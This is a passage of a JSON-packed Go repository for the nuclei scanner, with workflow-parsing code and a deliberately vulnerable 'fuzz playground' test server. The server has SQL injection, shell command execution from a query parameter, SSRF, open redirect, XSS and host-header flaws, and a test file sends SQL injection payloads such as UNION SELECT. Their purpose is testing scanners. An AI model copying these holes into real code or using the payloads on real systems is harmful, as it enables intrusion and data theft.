GetSupportedProtocolTypes() ProtocolTypes {\n\tvar result []ProtocolType\n\tfor index := ProtocolType(1); index < limit; index++ {\n\t\tresult = append(result, index)\n\t}\n\treturn result\n}\n\n// SupportedProtocolsStrings returns a slice of strings of supported protocols\nfunc SupportedProtocolsStrings() []string {\n\tvar result []string\n\tfor _, protocol := range GetSupportedProtocolTypes() {\n\t\tif protocol.String() == \"\" {\n\t\t\tcontinue\n\t\t}\n\t\tresult = append(result, protocol.String())\n\t}\n\treturn result\n}\n\nfunc toProtocolType(valueToMap string) (ProtocolType, error) {\n\tnormalizedValue := normalizeValue(valueToMap)\n\tfor key, currentValue := range protocolMappings {\n\t\tif normalizedValue == currentValue {\n\t\t\treturn key, nil\n\t\t}\n\t}\n\treturn -1, errors.New(\"Invalid protocol type: \" + valueToMap)\n}\n\nfunc normalizeValue(value string) string {\n\treturn strings.TrimSpace(strings.ToLower(value))\n}\n\nfunc (t ProtocolType) String() string {\n\treturn protocolMappings[t]\n}\n\n// TypeHolder is used to hold internal type of the protocol\ntype TypeHolder struct {\n\tProtocolType ProtocolType `mapping:\"true\"`\n}\n\nfunc (holder TypeHolder) JSONSchema() *jsonschema.Schema {\n\tgotType := &jsonschema.Schema{\n\t\tType:        \"string\",\n\t\tTitle:       \"type of the protocol\",\n\t\tDescription: \"Type of the protocol\",\n\t}\n\tfor _, types := range GetSupportedProtocolTypes() {\n\t\tgotType.Enum = append(gotType.Enum, types.String())\n\t}\n\treturn gotType\n}\n\nfunc (holder *TypeHolder) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar marshalledTypes string\n\tif err := unmarshal(&marshalledTypes); err != nil {\n\t\treturn err\n\t}\n\n\tcomputedType, err := toProtocolType(marshalledTypes)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tholder.ProtocolType = computedType\n\treturn nil\n}\n\nfunc (holder *TypeHolder) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(holder.ProtocolType.String())\n}\n\nfunc (holder TypeHolder) MarshalYAML() (interface{}, error) {\n\treturn holder.ProtocolType.String(), nil\n}\n\ntype ProtocolTypes []ProtocolType\n\nfunc (protocolTypes *ProtocolTypes) Set(values string) error {\n\tinputTypes, err := goflags.ToStringSlice(values, goflags.FileNormalizedStringSliceOptions)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, inputType := range inputTypes {\n\t\tif err := setProtocolType(protocolTypes, inputType); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (protocolTypes *ProtocolTypes) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar stringSliceValue stringslice.StringSlice\n\tif err := unmarshal(&stringSliceValue); err != nil {\n\t\treturn err\n\t}\n\n\tstringSLice := stringSliceValue.ToSlice()\n\tvar result = make(ProtocolTypes, 0, len(stringSLice))\n\tfor _, typeString := range stringSLice {\n\t\tif err := setProtocolType(&result, typeString); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t*protocolTypes = result\n\treturn nil\n}\n\nfunc (protocolTypes ProtocolTypes) MarshalJSON() ([]byte, error) {\n\tvar stringProtocols = make([]string, 0, len(protocolTypes))\n\tfor _, protocol := range protocolTypes {\n\t\tstringProtocols = append(stringProtocols, protocol.String())\n\t}\n\treturn json.Marshal(stringProtocols)\n}\n\nfunc (protocolTypes ProtocolTypes) String() string {\n\tvar stringTypes []string\n\tfor _, t := range protocolTypes {\n\t\tprotocolMapping := t.String()\n\t\tif protocolMapping != \"\" {\n\t\t\tstringTypes = append(stringTypes, protocolMapping)\n\t\t}\n\n\t}\n\treturn strings.Join(stringTypes, \", \")\n}\n\nfunc setProtocolType(protocolTypes *ProtocolTypes, value string) error {\n\tcomputedType, err := toProtocolType(value)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"'%s' is not a valid extract type\", value)\n\t}\n\t*protocolTypes = append(*protocolTypes, computedType)\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/templates/validator_singleton.go",
    "content": "package templates\n\nimport (\n\tvalidate \"github.com/go-playground/validator/v10\"\n)\n\nvar tplValidator = validate.New()\n"
  },
  {
    "path": "pkg/templates/workflows.go",
    "content": "package templates\n\nimport (\n\t\"github.com/pkg/errors\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/keys\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/stats\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/workflows\"\n)\n\n// compileWorkflow compiles the workflow for execution\nfunc compileWorkflow(path string, preprocessor Preprocessor, options *protocols.ExecutorOptions, workflow *workflows.Workflow, loader model.WorkflowLoader) {\n\tfor _, workflow := range workflow.Workflows {\n\t\tif err := parseWorkflow(preprocessor, workflow, options, loader); err != nil {\n\t\t\tgologger.Warning().Msgf(\"Could not parse workflow %s: %v\\n\", path, err)\n\t\t\tcontinue\n\t\t}\n\t}\n}\n\n// parseWorkflow parses and compiles all templates in a workflow recursively\nfunc parseWorkflow(preprocessor Preprocessor, workflow *workflows.WorkflowTemplate, options *protocols.ExecutorOptions, loader model.WorkflowLoader) error {\n\tshouldNotValidate := false\n\n\tif workflow.Template == \"\" && workflow.Tags.IsEmpty() {\n\t\treturn errors.New(\"invalid workflow with no templates or tags\")\n\t}\n\tif len(workflow.Subtemplates) > 0 || len(workflow.Matchers) > 0 {\n\t\tshouldNotValidate = true\n\t}\n\tif err := parseWorkflowTemplate(workflow, preprocessor, options, loader, shouldNotValidate); err != nil {\n\t\treturn err\n\t}\n\tfor _, subtemplates := range workflow.Subtemplates {\n\t\tif err := parseWorkflow(preprocessor, subtemplates, options, loader); err != nil {\n\t\t\tgologger.Warning().Msgf(\"Could not parse workflow: %v\\n\", err)\n\t\t\tcontinue\n\t\t}\n\t}\n\tfor _, matcher := range workflow.Matchers {\n\t\tif len(matcher.Name.ToSlice()) > 0 {\n\t\t\tif err := matcher.Compile(); err != nil {\n\t\t\t\treturn errors.Wrap(err, \"could not compile workflow matcher\")\n\t\t\t}\n\t\t}\n\t\tfor _, subtemplates := range matcher.Subtemplates {\n\t\t\tif err := parseWorkflow(preprocessor, subtemplates, options, loader); err != nil {\n\t\t\t\tgologger.Warning().Msgf(\"Could not parse workflow: %v\\n\", err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\n// parseWorkflowTemplate parses a workflow template creating an executer\nfunc parseWorkflowTemplate(workflow *workflows.WorkflowTemplate, preprocessor Preprocessor, options *protocols.ExecutorOptions, loader model.WorkflowLoader, noValidate bool) error {\n\tvar paths []string\n\n\tsubTemplateTags := workflow.Tags\n\tif !subTemplateTags.IsEmpty() {\n\t\tpaths = loader.GetTemplatePathsByTags(subTemplateTags.ToSlice())\n\t} else {\n\t\tpaths = loader.GetTemplatePaths([]string{workflow.Template}, noValidate)\n\t}\n\tif len(paths) == 0 {\n\t\treturn nil\n\t}\n\n\tvar workflowTemplates []*Template\n\tfor _, path := range paths {\n\t\ttemplate, err := Parse(path, preprocessor, options.Copy())\n\t\tif err != nil {\n\t\t\tgologger.Warning().Msgf(\"Could not parse workflow template %s: %v\\n\", path, err)\n\t\t\tcontinue\n\t\t}\n\t\tif template == nil {\n\t\t\tcontinue\n\t\t}\n\t\tif template.Executer == nil {\n\t\t\tgologger.Warning().Msgf(\"Could not parse workflow template %s: no executer found\\n\", path)\n\t\t\tcontinue\n\t\t}\n\n\t\tif options.Options.DisableUnsignedTemplates && !template.Verified {\n\t\t\t// skip unverified templates when prompted to do so\n\t\t\tstats.Increment(SkippedUnsignedStats)\n\t\t\tcontinue\n\t\t}\n\t\tif template.UsesRequestSignature() && !template.Verified {\n\t\t\tstats.Increment(SkippedRequestSignatureStats)\n\t\t\tcontinue\n\t\t}\n\n\t\tif template.HasCodeRequest() {\n\t\t\tif !options.Options.EnableCodeTemplates {\n\t\t\t\t// NOTE(dwisiswant0): It is safe to continue here during\n\t\t\t\t// validation mode, because the template has already been parsed\n\t\t\t\t// and syntax-validated by templates.Parse() above. It only\n\t\t\t\t// prevents adding to workflow's executer list and suppresses\n\t\t\t\t// warning messages.\n\t\t\t\tif !options.Options.Validate {\n\t\t\t\t\tgologger.Warning().Msgf(\"`-code` flag not found, skipping code template from workflow: %v\\n\", path)\n\t\t\t\t}\n\t\t\t\tcontinue\n\t\t\t} else if !template.Verified {\n\t\t\t\t// unverified code templates are not allowed in workflows\n\t\t\t\tgologger.Warning().Msgf(\"skipping unverified code template from workflow: %v\\n\", path)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\t// increment signed/unsigned counters\n\t\tif template.Verified {\n\t\t\tif template.TemplateVerifier == \"\" {\n\t\t\t\tSignatureStats[keys.PDVerifier].Add(1)\n\t\t\t} else {\n\t\t\t\tSignatureStats[template.TemplateVerifier].Add(1)\n\t\t\t}\n\t\t} else {\n\t\t\tSignatureStats[Unsigned].Add(1)\n\t\t}\n\t\tworkflowTemplates = append(workflowTemplates, template)\n\t}\n\n\tfinalTemplates, _, _ := ClusterTemplates(workflowTemplates, options.Copy())\n\tfor _, template := range finalTemplates {\n\t\tworkflow.Executers = append(workflow.Executers, &workflows.ProtocolExecuterPair{\n\t\t\tExecuter:     template.Executer,\n\t\t\tOptions:      options,\n\t\t\tTemplateType: template.Type(),\n\t\t})\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/testutils/fuzzplayground/db.go",
    "content": "package fuzzplayground\n\nimport (\n\t\"database/sql\"\n\t\"encoding/xml\"\n\t\"fmt\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\n\t_ \"github.com/mattn/go-sqlite3\"\n)\n\nvar (\n\tdb        *sql.DB\n\ttempDBDir string\n)\n\nfunc init() {\n\tdir, err := os.MkdirTemp(\"\", \"fuzzplayground-*\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\ttempDBDir = dir\n\n\tdb, err = sql.Open(\"sqlite3\", fmt.Sprintf(\"file:%v/test.db?cache=shared&mode=memory\", tempDBDir))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\taddDummyUsers(db)\n\taddDummyPosts(db)\n}\n\n// Cleanup cleans up the temporary database directory\nfunc Cleanup() {\n\tif db != nil {\n\t\t_ = db.Close()\n\t}\n\tif tempDBDir != \"\" {\n\t\t_ = os.RemoveAll(tempDBDir)\n\t}\n}\n\ntype User struct {\n\tXMLName xml.Name `xml:\"user\"`\n\tID      int      `xml:\"id\"`\n\tName    string   `xml:\"name\"`\n\tAge     int      `xml:\"age\"`\n\tRole    string   `xml:\"role\"`\n}\n\nfunc addDummyUsers(db *sql.DB) {\n\t_, err := db.Exec(\"CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY, name TEXT, age INTEGER, role TEXT)\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\t_, err = db.Exec(\"INSERT INTO users (id , name, age, role) VALUES (1,'admin', 30, 'admin')\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\t_, err = db.Exec(\"INSERT INTO users (id , name, age, role) VALUES (75,'user', 30, 'user')\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}\n\nfunc patchUnsanitizedUser(db *sql.DB, user User) error {\n\tsetClauses := \"\"\n\n\tif user.Name != \"\" {\n\t\tsetClauses += \"name = '\" + user.Name + \"', \"\n\t}\n\tif user.Age > 0 {\n\t\tsetClauses += \"age = \" + strconv.Itoa(user.Age) + \", \"\n\t}\n\tif user.Role != \"\" {\n\t\tsetClauses += \"role = '\" + user.Role + \"', \"\n\t}\n\tif setClauses == \"\" {\n\t\t// No fields to update\n\t\treturn nil\n\t}\n\tsetClauses = strings.TrimSuffix(setClauses, \", \")\n\n\tquery := \"UPDATE users SET \" + setClauses + \" WHERE id = ?\"\n\t_, err := db.Exec(query, user.ID)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc getUnsanitizedUser(db *sql.DB, id string) (User, error) {\n\tvar user User\n\terr := db.QueryRow(\"SELECT id, name, age, role FROM users WHERE id = \"+id).Scan(&user.ID, &user.Name, &user.Age, &user.Role)\n\tif err != nil {\n\t\treturn user, err\n\t}\n\treturn user, nil\n}\n\ntype Posts struct {\n\tID      int\n\tTitle   string\n\tContent string\n\tLang    string\n}\n\nfunc addDummyPosts(db *sql.DB) {\n\t_, err := db.Exec(\"CREATE TABLE IF NOT EXISTS posts (id INTEGER PRIMARY KEY, title TEXT, content TEXT, lang TEXT)\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\t// Inserting English dummy posts\n\t_, err = db.Exec(\"INSERT INTO posts (id, title, content, lang) VALUES (1, 'The Joy of Programming', 'Programming is like painting a canvas with logic.', 'en')\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\t_, err = db.Exec(\"INSERT INTO posts (id, title, content, lang) VALUES (2, 'A Journey Through Code', 'Every line of code tells a story.', 'en')\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\t// Inserting a Spanish dummy post\n\t_, err = db.Exec(\"INSERT INTO posts (id, title, content, lang) VALUES (3, 'La belleza del código', 'Cada función es un poema en un mar de algoritmos.', 'es')\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}\n\nfunc getUnsanitizedPostsByLang(db *sql.DB, lang string) ([]Posts, error) {\n\tvar posts []Posts\n\tquery := \"SELECT id, title, content, lang FROM posts WHERE lang = '\" + lang + \"'\"\n\trows, err := db.Query(query)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer func() {\n\t\t_ = rows.Close()\n\t}()\n\n\tfor rows.Next() {\n\t\tvar post Posts\n\t\tif err := rows.Scan(&post.ID, &post.Title, &post.Content, &post.Lang); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tposts = append(posts, post)\n\t}\n\tif err = rows.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn posts, nil\n}\n"
  },
  {
    "path": "pkg/testutils/fuzzplayground/server.go",
    "content": "// This package provides a mock server for testing fuzzing templates\npackage fuzzplayground\n\nimport (\n\t\"encoding/xml\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os/exec\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/labstack/echo/v4\"\n\t\"github.com/labstack/echo/v4/middleware\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n)\n\nfunc GetPlaygroundServer() *echo.Echo {\n\te := echo.New()\n\te.Use(middleware.Recover())\n\te.Use(middleware.Logger())\n\n\te.GET(\"/\", indexHandler)\n\te.GET(\"/info\", infoHandler)\n\te.GET(\"/redirect\", redirectHandler)\n\te.GET(\"/request\", requestHandler)\n\te.GET(\"/email\", emailHandler)\n\te.GET(\"/permissions\", permissionsHandler)\n\n\te.GET(\"/blog/post\", numIdorHandler) // for num based idors like ?id=44\n\te.POST(\"/reset-password\", resetPasswordHandler)\n\te.GET(\"/host-header-lab\", hostHeaderLabHandler)\n\te.GET(\"/user/:id/profile\", userProfileHandler)\n\te.POST(\"/user\", patchUnsanitizedUserHandler)\n\te.GET(\"/blog/posts\", getPostsHandler)\n\treturn e\n}\n\nvar bodyTemplate = `<html>\n<head>\n<title>Fuzz Playground</title>\n</head>\n<body>\n%s\n</body>\n</html>`\n\nfunc indexHandler(ctx echo.Context) error {\n\treturn ctx.HTML(200, fmt.Sprintf(bodyTemplate, `<h1>Fuzzing Playground</h1><hr>\n\t<ul>\n\t\t\n\t<li><a href=\"/info?name=test&another=value&random=data\">Info Page XSS</a></li>\n\t<li><a href=\"/redirect?redirect_url=/info?name=redirected_from_url\">Redirect Page OpenRedirect</a></li>\n\t<li><a href=\"/request?url=https://example.com\">Request Page SSRF</a></li>\n\t<li><a href=\"/email?text=important_user\">Email Page SSTI</a></li>\n\t<li><a href=\"/permissions?cmd=whoami\">Permissions Page CMDI</a></li>\n\t\n\t<li><a href=\"/host-header-lab\">Host Header Lab (X-Forwarded-Host Trusted)</a></li>\n\t<li><a href=\"/user/75/profile\">User Profile Page SQLI (path parameter)</a></li>\n\t<li><a href=\"/user\">POST on /user SQLI (body parameter)</a></li>\n\t<li><a href=\"/blog/posts\">SQLI in cookie lang parameter value (eg. lang=en)</a></li>\n\t\n\t</ul>\n`))\n}\n\nfunc infoHandler(ctx echo.Context) error {\n\treturn ctx.HTML(200, fmt.Sprintf(bodyTemplate, fmt.Sprintf(\"Name of user: %s%s%s\", ctx.QueryParam(\"name\"), ctx.QueryParam(\"another\"), ctx.QueryParam(\"random\"))))\n}\n\nfunc redirectHandler(ctx echo.Context) error {\n\turl := ctx.QueryParam(\"redirect_url\")\n\treturn ctx.Redirect(302, url)\n}\n\nfunc requestHandler(ctx echo.Context) error {\n\turl := ctx.QueryParam(\"url\")\n\tdata, err := retryablehttp.DefaultClient().Get(url)\n\tif err != nil {\n\t\treturn ctx.HTML(500, err.Error())\n\t}\n\tdefer func() {\n\t\t_ = data.Body.Close()\n\t}()\n\n\tbody, _ := io.ReadAll(data.Body)\n\treturn ctx.HTML(200, fmt.Sprintf(bodyTemplate, string(body)))\n}\n\nfunc emailHandler(ctx echo.Context) error {\n\ttext := ctx.QueryParam(\"text\")\n\tif strings.Contains(text, \"{{\") {\n\t\ttrimmed := strings.SplitN(strings.Trim(text[strings.Index(text, \"{\"):], \"{}\"), \"*\", 2)\n\t\tif len(trimmed) < 2 {\n\t\t\treturn ctx.HTML(500, \"invalid template\")\n\t\t}\n\t\tfirst, _ := strconv.Atoi(trimmed[0])\n\t\tsecond, _ := strconv.Atoi(trimmed[1])\n\t\ttext = strconv.Itoa(first * second)\n\t}\n\treturn ctx.HTML(200, fmt.Sprintf(bodyTemplate, fmt.Sprintf(\"Text: %s\", text)))\n}\n\nfunc permissionsHandler(ctx echo.Context) error {\n\tcommand := ctx.QueryParam(\"cmd\")\n\tfields := strings.Fields(command)\n\tcmd := exec.Command(fields[0], fields[1:]...)\n\tdata, _ := cmd.CombinedOutput()\n\n\treturn ctx.HTML(200, fmt.Sprintf(bodyTemplate, string(data)))\n}\n\nfunc numIdorHandler(ctx echo.Context) error {\n\t// validate if any numerical query param is present\n\t// if not, return 400 if so, return 200\n\tfor k := range ctx.QueryParams() {\n\t\tif _, err := strconv.Atoi(ctx.QueryParam(k)); err == nil {\n\t\t\treturn ctx.JSON(200, \"Profile Info for user with id \"+ctx.QueryParam(k))\n\t\t}\n\t}\n\treturn ctx.JSON(400, \"No numerical query param found\")\n}\n\nfunc patchUnsanitizedUserHandler(ctx echo.Context) error {\n\tvar user User\n\n\tcontentType := ctx.Request().Header.Get(\"Content-Type\")\n\t// manually handle unmarshalling data\n\tif strings.Contains(contentType, \"application/json\") {\n\t\terr := ctx.Bind(&user)\n\t\tif err != nil {\n\t\t\treturn ctx.JSON(500, \"Invalid JSON data\")\n\t\t}\n\t} else if strings.Contains(contentType, \"application/x-www-form-urlencoded\") {\n\t\tuser.Name = ctx.FormValue(\"name\")\n\t\tuser.Age, _ = strconv.Atoi(ctx.FormValue(\"age\"))\n\t\tuser.Role = ctx.FormValue(\"role\")\n\t\tuser.ID, _ = strconv.Atoi(ctx.FormValue(\"id\"))\n\t} else if strings.Contains(contentType, \"application/xml\") {\n\t\tbin, _ := io.ReadAll(ctx.Request().Body)\n\t\terr := xml.Unmarshal(bin, &user)\n\t\tif err != nil {\n\t\t\treturn ctx.JSON(500, \"Invalid XML data\")\n\t\t}\n\t} else if strings.Contains(contentType, \"multipart/form-data\") {\n\t\tuser.Name = ctx.FormValue(\"name\")\n\t\tuser.Age, _ = strconv.Atoi(ctx.FormValue(\"age\"))\n\t\tuser.Role = ctx.FormValue(\"role\")\n\t\tuser.ID, _ = strconv.Atoi(ctx.FormValue(\"id\"))\n\t} else {\n\t\treturn ctx.JSON(500, \"Invalid Content-Type\")\n\t}\n\n\terr := patchUnsanitizedUser(db, user)\n\tif err != nil {\n\t\treturn ctx.JSON(500, err.Error())\n\t}\n\treturn ctx.JSON(200, \"User updated successfully\")\n}\n\n// resetPassword mock\nfunc resetPasswordHandler(c echo.Context) error {\n\tvar m map[string]interface{}\n\tif err := c.Bind(&m); err != nil {\n\t\treturn c.JSON(500, \"Something went wrong\")\n\t}\n\n\thost := c.Request().Header.Get(\"X-Forwarded-For\")\n\tif host == \"\" {\n\t\treturn c.JSON(500, \"Something went wrong\")\n\t}\n\tresp, err := http.Get(\"http://internal.\" + host + \"/update?user=1337&pass=\" + m[\"password\"].(string))\n\tif err != nil {\n\t\treturn c.JSON(500, \"Something went wrong\")\n\t}\n\tdefer func() {\n\t\t_ = resp.Body.Close()\n\t}()\n\treturn c.JSON(200, \"Password reset successfully\")\n}\n\nfunc hostHeaderLabHandler(c echo.Context) error {\n\t// vulnerable app has custom routing and trusts x-forwarded-host\n\t// to route to internal services\n\tif c.Request().Header.Get(\"X-Forwarded-Host\") != \"\" {\n\t\tresp, err := http.Get(\"http://\" + c.Request().Header.Get(\"X-Forwarded-Host\"))\n\t\tif err != nil {\n\t\t\treturn c.JSON(500, \"Something went wrong\")\n\t\t}\n\t\tdefer func() {\n\t\t\t_ = resp.Body.Close()\n\t\t}()\n\t\tc.Response().Header().Set(\"Content-Type\", resp.Header.Get(\"Content-Type\"))\n\t\tc.Response().WriteHeader(resp.StatusCode)\n\t\t_, err = io.Copy(c.Response().Writer, resp.Body)\n\t\tif err != nil {\n\t\t\treturn c.JSON(500, \"Something went wrong\")\n\t\t}\n\t}\n\treturn c.JSON(200, \"Not a Teapot\")\n}\n\nfunc userProfileHandler(ctx echo.Context) error {\n\tval, _ := url.PathUnescape(ctx.Param(\"id\"))\n\tfmt.Printf(\"Unescaped: %s\\n\", val)\n\tuser, err := getUnsanitizedUser(db, val)\n\tif err != nil {\n\t\treturn ctx.JSON(500, err.Error())\n\t}\n\treturn ctx.JSON(200, user)\n}\n\nfunc getPostsHandler(c echo.Context) error {\n\tlang, err := c.Cookie(\"lang\")\n\tif err != nil {\n\t\t// If the language cookie is missing, default to English\n\t\tlang = new(http.Cookie)\n\t\tlang.Value = \"en\"\n\t}\n\tposts, err := getUnsanitizedPostsByLang(db, lang.Value)\n\tif err != nil {\n\t\treturn c.JSON(http.StatusInternalServerError, err.Error())\n\t}\n\treturn c.JSON(http.StatusOK, posts)\n}\n"
  },
  {
    "path": "pkg/testutils/fuzzplayground/sqli_test.go",
    "content": "package fuzzplayground\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestSQLInjectionBehavior(t *testing.T) {\n\tserver := GetPlaygroundServer()\n\tts := httptest.NewServer(server)\n\tdefer ts.Close()\n\n\ttests := []struct {\n\t\tname               string\n\t\tpath               string\n\t\texpectedStatus     int\n\t\tshouldContainAdmin bool\n\t}{\n\t\t{\n\t\t\tname:               \"Normal request\",\n\t\t\tpath:               \"/user/75/profile\", // User 75 exists and has role 'user'\n\t\t\texpectedStatus:     200,\n\t\t\tshouldContainAdmin: false,\n\t\t},\n\t\t{\n\t\t\tname:               \"SQL injection with OR 1=1\",\n\t\t\tpath:               \"/user/75 OR 1=1/profile\",\n\t\t\texpectedStatus:     200,  // Should work but might return first user (admin)\n\t\t\tshouldContainAdmin: true, // Should return admin user data\n\t\t},\n\t\t{\n\t\t\tname:               \"SQL injection with UNION\",\n\t\t\tpath:               \"/user/1 UNION SELECT 1,'admin',30,'admin'/profile\",\n\t\t\texpectedStatus:     200,\n\t\t\tshouldContainAdmin: true,\n\t\t},\n\t\t{\n\t\t\tname:               \"Template payload test - OR True with 75\",\n\t\t\tpath:               \"/user/75 OR True/profile\", // What the template actually sends\n\t\t\texpectedStatus:     200,                        // Actually works!\n\t\t\tshouldContainAdmin: true,                       // Let's see if it returns admin\n\t\t},\n\t\t{\n\t\t\tname:               \"Template payload test - OR True with 55 (non-existent)\",\n\t\t\tpath:               \"/user/55 OR True/profile\", // What the template should actually send\n\t\t\texpectedStatus:     200,                        // Should work due to SQL injection\n\t\t\tshouldContainAdmin: true,                       // Should return admin due to OR True\n\t\t},\n\t\t{\n\t\t\tname:               \"Test original user 55 issue\",\n\t\t\tpath:               \"/user/55/profile\", // This should fail because user 55 doesn't exist\n\t\t\texpectedStatus:     500,\n\t\t\tshouldContainAdmin: false,\n\t\t},\n\t\t{\n\t\t\tname:               \"Invalid ID - non-existent\",\n\t\t\tpath:               \"/user/999/profile\",\n\t\t\texpectedStatus:     500, // Should error due to no such user\n\t\t\tshouldContainAdmin: false,\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tresp, err := http.Get(ts.URL + tt.path)\n\t\t\trequire.NoError(t, err)\n\t\t\tdefer func() {\n\t\t\t\tif err := resp.Body.Close(); err != nil {\n\t\t\t\t\tt.Logf(\"Failed to close response body: %v\", err)\n\t\t\t\t}\n\t\t\t}()\n\n\t\t\trequire.Equal(t, tt.expectedStatus, resp.StatusCode)\n\n\t\t\tbody := make([]byte, 1024)\n\t\t\tn, _ := resp.Body.Read(body)\n\t\t\tbodyStr := string(body[:n])\n\n\t\t\tfmt.Printf(\"Request: %s\\n\", tt.path)\n\t\t\tfmt.Printf(\"Status: %d\\n\", resp.StatusCode)\n\t\t\tfmt.Printf(\"Response: %s\\n\\n\", bodyStr)\n\n\t\t\tif tt.shouldContainAdmin {\n\t\t\t\trequire.Contains(t, bodyStr, \"admin\")\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "pkg/testutils/integration.go",
    "content": "package testutils\n\nimport (\n\t\"crypto/tls\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"os/exec\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/gobwas/ws\"\n\t\"github.com/julienschmidt/httprouter\"\n\t\"github.com/projectdiscovery/utils/conversion\"\n)\n\n// ExtraArgs\nvar (\n\tExtraDebugArgs = []string{}\n\tExtraEnvVars   = []string{\n\t\t\"DISABLE_CLOUD_UPLOAD_WRN=true\",\n\t\t\"DISABLE_CLOUD_UPLOAD=true\",\n\t}\n)\n\n// RunNucleiTemplateAndGetResults returns a list of results for a template\nfunc RunNucleiTemplateAndGetResults(template, url string, debug bool, extra ...string) ([]string, error) {\n\treturn RunNucleiAndGetResults(true, template, url, debug, extra...)\n}\n\n// RunNucleiWorkflowAndGetResults returns a list of results for a workflow\nfunc RunNucleiWorkflowAndGetResults(template, url string, debug bool, extra ...string) ([]string, error) {\n\treturn RunNucleiAndGetResults(false, template, url, debug, extra...)\n}\n\nfunc RunNucleiAndGetResults(isTemplate bool, template, url string, debug bool, extra ...string) ([]string, error) {\n\tvar templateOrWorkflowFlag string\n\tif isTemplate {\n\t\ttemplateOrWorkflowFlag = \"-t\"\n\t} else {\n\t\ttemplateOrWorkflowFlag = \"-w\"\n\t}\n\n\treturn RunNucleiBareArgsAndGetResults(debug, nil, append([]string{\n\t\ttemplateOrWorkflowFlag,\n\t\ttemplate,\n\t\t\"-target\",\n\t\turl,\n\t}, extra...)...)\n}\n\nfunc RunNucleiBareArgsAndGetResults(debug bool, env []string, extra ...string) ([]string, error) {\n\tcmd := exec.Command(\"./nuclei\")\n\textra = append(extra, ExtraDebugArgs...)\n\tcmd.Args = append(cmd.Args, extra...)\n\tcmd.Args = append(cmd.Args, \"-duc\") // disable auto updates\n\tcmd.Args = append(cmd.Args, \"-interactions-poll-duration\", \"1\")\n\tcmd.Args = append(cmd.Args, \"-interactions-cooldown-period\", \"10\")\n\tcmd.Args = append(cmd.Args, \"-allow-local-file-access\")\n\tif env != nil {\n\t\tcmd.Env = append(os.Environ(), env...)\n\t}\n\tcmd.Env = append(cmd.Env, ExtraEnvVars...)\n\tif debug {\n\t\tcmd.Args = append(cmd.Args, \"-debug\")\n\t\tcmd.Stderr = os.Stderr\n\t\tfmt.Println(cmd.String())\n\t} else {\n\t\tcmd.Args = append(cmd.Args, \"-silent\")\n\t}\n\toutput, err := cmd.Output()\n\tvar data string\n\tif len(output) > 0 {\n\t\tdata = strings.TrimSpace(conversion.String(output))\n\t}\n\tif debug {\n\t\tfmt.Println(data)\n\t}\n\tvar parts []string\n\titems := strings.Split(data, \"\\n\")\n\tfor _, i := range items {\n\t\tif i != \"\" {\n\t\t\tparts = append(parts, i)\n\t\t}\n\t}\n\n\tif (data == \"\" || len(parts) == 0) && err != nil {\n\t\treturn nil, fmt.Errorf(\"%v: %v\", err.Error(), data)\n\t}\n\n\treturn parts, nil\n}\n\n// RunNucleiWithArgsAndGetResults returns result,and runtime errors\nfunc RunNucleiWithArgsAndGetResults(debug bool, args ...string) ([]string, error) {\n\tcmd := exec.Command(\"./nuclei\", args...)\n\tcmd.Env = append(cmd.Env, ExtraEnvVars...)\n\tif debug {\n\t\tcmd.Args = append(cmd.Args, \"-debug\")\n\t\tcmd.Stderr = os.Stderr\n\t\tfmt.Println(cmd.String())\n\t} else {\n\t\tcmd.Args = append(cmd.Args, \"-silent\")\n\t}\n\toutput, err := cmd.Output()\n\tvar data string\n\tif len(output) > 0 {\n\t\tdata = strings.TrimSpace(conversion.String(output))\n\t}\n\tif debug {\n\t\tfmt.Println(data)\n\t}\n\tvar parts []string\n\titems := strings.Split(data, \"\\n\")\n\tfor _, i := range items {\n\t\tif i != \"\" {\n\t\t\tparts = append(parts, i)\n\t\t}\n\t}\n\n\tif (data == \"\" || len(parts) == 0) && err != nil {\n\t\treturn nil, fmt.Errorf(\"%v: %v\", 